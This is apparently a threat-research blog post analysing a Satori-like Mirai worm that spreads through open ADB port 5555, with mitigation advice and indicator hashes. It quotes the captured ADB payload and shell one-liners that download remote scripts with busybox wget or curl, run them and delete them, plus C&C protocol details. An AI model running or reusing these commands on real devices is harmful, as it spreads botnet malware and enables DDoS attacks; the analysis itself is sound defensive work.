Mobile
Open ADB Ports Used to Spread Possible Satori Variant
We found a new exploit using port 5555 after detecting two suspicious spikes in activity. In this scenario, the activity involves the command line utility called Android Debug Bridge (ADB).
Save to Folio
The exploitation of open ports on devices has been an on-going problem for many IoT users. TCP port 5555, in particular, has had issues in the past due to product manufacturers leaving it open before shipping, which potentially exposes users to attackers.
Recently, we found a new exploit using port 5555 after detecting two suspicious spikes in activity on July 9-10 and July 15. In this scenario, the activity involves the command line utility called Android Debug Bridge (ADB), a part of the Android SDK that handles communication between devices that also allows developers to run and debug apps on Android devices. Our data shows that the first wave of network traffic came mainly from China and the US, while the second wave primarily involved Korea.
Figure 1. Activity in the TCP Port 5555 from July 1 to July 15. Note the spike on July 9 and 10 and a second spike on July 15
Technical Analysis
From our analysis of the network packets, we determined that the malware spreads via scanned open ADB ports. It drops the stage 1 shell script via ADB connection to launch on the targeted system. This script downloads the two stage 2 shell scripts responsible for launching the stage 3 binary.
It attacks ADB by uploading the payload via TCP port 5555:
- “CNXN",0,0,0,1,0,0x10,0,0,7,0,0,0,"2",2,0,0,0xBC,0xB1,0xA7,0xB1,"host::"
Once it's dropped into a device, the payload will delete itself from the disk and renamed with a randomly selected name with an architecture string attached.
The payload will download the shell script, which is removed after execution:
- "OPENX",2,0,0,0,0,0,0,0xF2,0x17,"J",0,0,0xB0,0xAF,0xBA,0xB1,"shell:>/sdcard/Download/f && cd /sdcard/Download/; >/dev/f && cd /dev/; >/data/local/tmp/f && cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2"
The shell script for the July 9 activity can be seen below:
- cd /dev/; busybox wget hxxp://95[.]215[.]62[.]169/adbs -O -> adbs; sh adbs; rm adbs
Figure 2. ASCII and hex view of the malicious payload from the July 9 activity
In contrast, the payload for the July 15 activity downloads two scripts instead: the earlier “adbs” and a new script called“adbs2”. As before, it will remove them after execution:
- cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2
Figure 3. ASCII and hex view of the malicious payload from the July 15 activity
The scripts download the next stage binary for several architectures and launch the corresponding one. They both do the same thing but use different download methods. The first one uses curl and the second one wget built in BusyBox. An example of the wget version can be seen below:
Figure 4. Code of the shell script that was downloaded via wget
The binary starts by deleting its own binary file from a filesystem. It then checks if its own name is “./.f” with the parameter “yItDitb2HvayJvNc.” If this turns out positive, it will use a hostname “n[.]ukrainianhorseriding[.]com” to resolve the address of the C&C server through the Google DNS server. Otherwise, it uses the hardwired IP address 95[.]215[.]62[.]169 with a connection port of 7267.
It will then close all three stdio streams and get its own IP address, followed by the launch of two child processes.
The first one scans /proc/[pid]/maps memory-mapped regions of all running processes on the system for open temporary files smi, xig or trinity. If found, it kills the corresponding process. Trinity could be related to the Android system fuzzer, while smi is a known file belonging to the CoinHive script that mines Monero on hijacked Amazon devices.
The second child process is responsible for spreading the malware as a worm.
The main binary continues by writing all three pids mentioned earlier in binary form to one of the following locations:
Figure 5. Locations where the pids are written
The binary then opens a connection to the C&C server:
Figure 6. Communicating with the C&C server
It then sends a specially crafted message to the C&C server. Its length is 71 bytes and looks as follows:
“WWau14TJ8IapVXrrlFq0q5sxB”, “\x00 80 00 5A 00 57 00 C8 00 F0 00 1E 00 00” and appended architecture string i.e. “arm7” in 32 bytes array.
C2 then sends to the victim 2 bytes number (x) Interpretation is following: if x == 505: receive next 2 bytes from C2 if x == 0xDD99: kill children and exit if x > 1024: close connection and sleep(10) else: receive x bytes from C2 (they are not used, maybe this version is not finishet yet) receive new x recv payload containing attacking target list of len x bytes
Each six communication cycles, the victim responds with a 6-byte sequence (9, 3, 2, 5, 8, 1).
This payload contains a header with the number of targets and IP packet types to be sent, followed by a list of target IPv4 addresses that are modified by an infected host with a randomly generated offset. Up next are port numbers and sleep times before it waits for a continuation and a random payload length. The malware then sends crafted IP packets with a randomly generated payload to the obtained attack list — possibly as part of a DDoS attack.
The crafted IP packets consist of the following:
- UDP with a randomly generated payload of random length
- TCP SYN packet with a random payload of random length
- TCP ACK with a random payload of random length
- UDP with random payload tunneled through Generic Routing Encapsulation (GRE)
- TCP SYN, after which it will send TCP ACK and ensure that the TCP window size, source port, seq_number and IP identification is consistent with the previous session. There is a three-second wait period between each packet.
An intriguing aspect of the downloaded binaries is that the C&C server 95[.]215[.]62[.]169 was found by researchers to be linked to the Satori variant of the Mirai botnet. Delving into the GeoIP information of the two IP addresses involved in the activity reveal that they are located in Europe; Spain for 95[.]215[.]62[.]169 and the Netherlands for 185[.]62[.]189[.]149.
It’s reasonable to believe that the same author was behind this sample and Satori. The important and identifiable strings are encrypted using a simple XOR method (see the encrypted string example in Figure 8). Interestingly, this malware version uses less a sophisticated string encryption method compared to older samples, which used a combination of byte swap and Base62 encoding.
Figure 7. Strings encrypted with XOR method
Their decrypted values can be seen in the figure below. Note that not all of them are used yet.
Figure 8. String values after decryption
As mentioned earlier, the worm function and seeking of other potential targets might mean that the two spikes in activities we detected might be a prelude to another attack that might cause more damage. Perhaps in this instance, the threat actors were testing the effectiveness of their tools and tactics to prepare for a more serious attack.
The C&C domain name information shows the same registration e-mail as another C&C server on the domain rippr[.]cc, which was already shut down:
Figure 9. Information on the C&C domain
According to data from Shodan, over 48,000 IoT systems are vulnerable to ADB exploitations. Not all vulnerable systems are exposed as they are usually hidden behind routers with Network Address Translation (NAT). However, due to misconfiguration, they can be made accessible either manually or via UPnP NAT traversal. All multimedia devices, smart TVs, mobile phones, and other devices without additional protection are easy targets for this malware regardless of the user’s password strength.
Mitigation and Trend Micro Solutions
Users who are comfortable changing the settings of their mobile device can go to settings, select "Developer Options" and ensure that "ADB (USB) debugging" and "Apps from Unknown Sources" are turned off. The latter setting is turned off by default but should be double-checked to make sure. If the user suspects that their device is already infected, doing a factory reset can clear the payload.
As a general rule, mobile device users should regularly update their devices to the latest version. Not only do these updates improve the functionality of their devices, but they also address vulnerabilities that attackers can exploit.
Security software designed to combat these kinds of threats are also an option. For example, Trend Micro Smart Home Network™ protects users from this threat via the following intrusion prevention rules:
- 1134867 EXPLOIT Remote Command Execution via Android Debug Bridge
Indicators of Compromise (IOCs)
Detected as UNIX_MIRAI.DLDS
- 79d55852af173612562718544ecdc569b0b8e0094647d609040f8fcc67112cba
- 144e9093b50d7a0bf92ccc29dbbdab4955a8ef028ec2a4a64f2c16778fc0ba43
Detected as ELF_MIRAI.LBOUF
- 2815ab8fe6d48982540524c6ac55e1df3a77a2e90c32114fde05bdc3bb353bea
- 65af5e3bdb7f38b0bc47003e96e57e15a15dd7a74536a9d5b9899105c6707bbd
- 01eca0d68cc8c2d7ad6aa8021852b57a04b8a4ca7d13e164095b29fd06a1ed9f
- 4c3983040b2c72e4df9742c1314dcf8cd703805ab6aaa9185324b70fd530746e